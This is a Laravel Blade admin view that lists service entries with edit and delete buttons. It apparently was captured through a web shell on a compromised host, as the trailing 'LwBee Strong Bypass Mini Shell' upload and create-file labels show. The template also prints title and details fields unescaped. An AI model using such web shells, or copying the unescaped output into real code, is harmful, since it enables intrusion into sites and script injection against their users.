/home/u503560585/domains/mscm.me/public_html/resources/views/dashboard/service/list.blade.php
@extends('dashboard.layouts.master')
@section('title', __('backend.adsBanners'))
@section('content')
    <div class="padding">
        <div class="box">
            <div class="box-header dker">
                <h3>{{ __('backend.serviceSite') }}</h3>
                <small>
                    <a href="{{ route('adminHome') }}">{{ __('backend.home') }}</a> /
                    <a href="">{{ __('backend.serviceSite') }}</a>
                </small>
            </div>
            @if(@Auth::user()->permissionsGroup->add_status)
                <div class="row p-a">
                    <div class="col-sm-12">
                        <a class="btn btn-fw primary marginBottom5"
                            href="{{route('ServicesCreate')}}">
                            <i class="material-icons">&#xe02e;</i>
                            &nbsp; {{ __('backend.serviceSite') }}</a>
                    </div>
                </div>
            @endif

                <div class="table-responsive">
                    <table class="table table-bordered m-a-0">
                        <thead class="dker">
                        <tr>
                            <th class="width20 dker">
                                <label class="ui-check m-a-0">
                                    <input id="checkAll" type="checkbox"><i></i>
                                </label>
                            </th>
                            <th>ID</th>
                            <th class="text-center">Title</th>
                            <th class="text-center">Type</th>
                            <th class="text-center">Detail</th>
                            <th class="text-center">Image</th>
                            <th class="text-center width50">{{ __('backend.status') }}</th>
                            <th class="text-center width200">{{ __('backend.options') }}</th>
                        </tr>
                        </thead>
                        <tbody>
                        @foreach($ServiceSites as $ServiceSite)
                            <tr>
                                <td class="dker">
                                    <label class="ui-check m-a-0">
                                        <input type="checkbox" name="ids[]" value="{{ $ServiceSite->id }}"><i
                                            class="dark-white"></i>
                                    </label>
                                </td>
                                <td class="h6">
                                    {{$ServiceSite->id}}
                                </td>
                                <td class="text-center">
                                    <span class="label dker b-a text-sm">{!! @$ServiceSite->{'title_'.@Helper::currentLanguage()->code}   !!}</span>
                                </td>
                                <td class="text-center">
                                    <span class="label dker b-a text-sm">{{$ServiceSite->type_service == 1 ? "Include Image" : "Content"}}</span>
                                </td>
                                <td class="text-center">
                                {!! @$ServiceSite->{'details_'.@Helper::currentLanguage()->code}   !!}
                                </td>
                                <td class="text-center">
                                <?php $img = $ServiceSite->{'file_'.@Helper::currentLanguage()->code} ?>
                                   <img width="100" height="100" src="{{$img}}" />
                                </td>
                                <td class="text-center">
                                    <i class="fa {{ ($ServiceSite->status==1) ? "fa-check text-success":"fa-times text-danger" }} inline"></i>
                                </td>
                                <td class="text-center">
                                    @if(@Auth::user()->permissionsGroup->edit_status)
                                        <a class="btn btn-sm success"
                                           href="{{ route("ServicesEdit",["id"=>$ServiceSite->id]) }}">
                                            <small><i class="material-icons">&#xe3c9;</i> {{ __('backend.edit') }}
                                            </small>
                                        </a>
                                    @endif
                                    @if(@Auth::user()->permissionsGroup->delete_status)
                                        <button class="btn btn-sm warning" data-toggle="modal"
                                                data-target="#m-{{ $ServiceSite->id }}" ui-toggle-class="bounce"
                                                ui-target="#animate">
                                            <small><i class="material-icons">&#xe872;</i> {{ __('backend.delete') }}
                                            </small>
                                        </button>
                                    @endif

                                </td>
                            </tr>
                            <div id="m-{{ $ServiceSite->id }}" class="modal fade" data-backdrop="true">
                                <div class="modal-dialog" id="animate">
                                    <div class="modal-content">
                                        <div class="modal-header">
                                            <h5 class="modal-title">{{ __('backend.confirmation') }}</h5>
                                        </div>
                                        <div class="modal-body text-center p-lg">
                                            <p>
                                                {{ __('backend.confirmationDeleteMsg') }}
                                                <br>
                                                <strong>[ {{ $ServiceSite->id }} ]</strong>
                                            </p>
                                        </div>
                                        <div class="modal-footer">
                                            <button type="button" class="btn dark-white p-x-md"
                                                    data-dismiss="modal">{{ __('backend.no') }}</button>
                                            <a href="{{ route("ServicesDestroy",["id"=>$ServiceSite->id]) }}"
                                               class="btn danger p-x-md">{{ __('backend.yes') }}</a>
                                        </div>
                                    </div><!-- /.modal-content -->
                                </div>
                            </div>
                        @endforeach

                        </tbody>
                    </table>

                </div>
        </div>
    </div>
@endsection
@push("after-scripts")
    <script type="text/javascript">
        $("#checkAll").click(function () {
            $('input:checkbox').not(this).prop('checked', this.checked);
        });
        $("#action").change(function () {
            if (this.value == "delete") {
                $("#submit_all").css("display", "none");
                $("#submit_show_msg").css("display", "inline-block");
            } else {
                $("#submit_all").css("display", "inline-block");
                $("#submit_show_msg").css("display", "none");
            }
        });
    </script>
@endpush
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File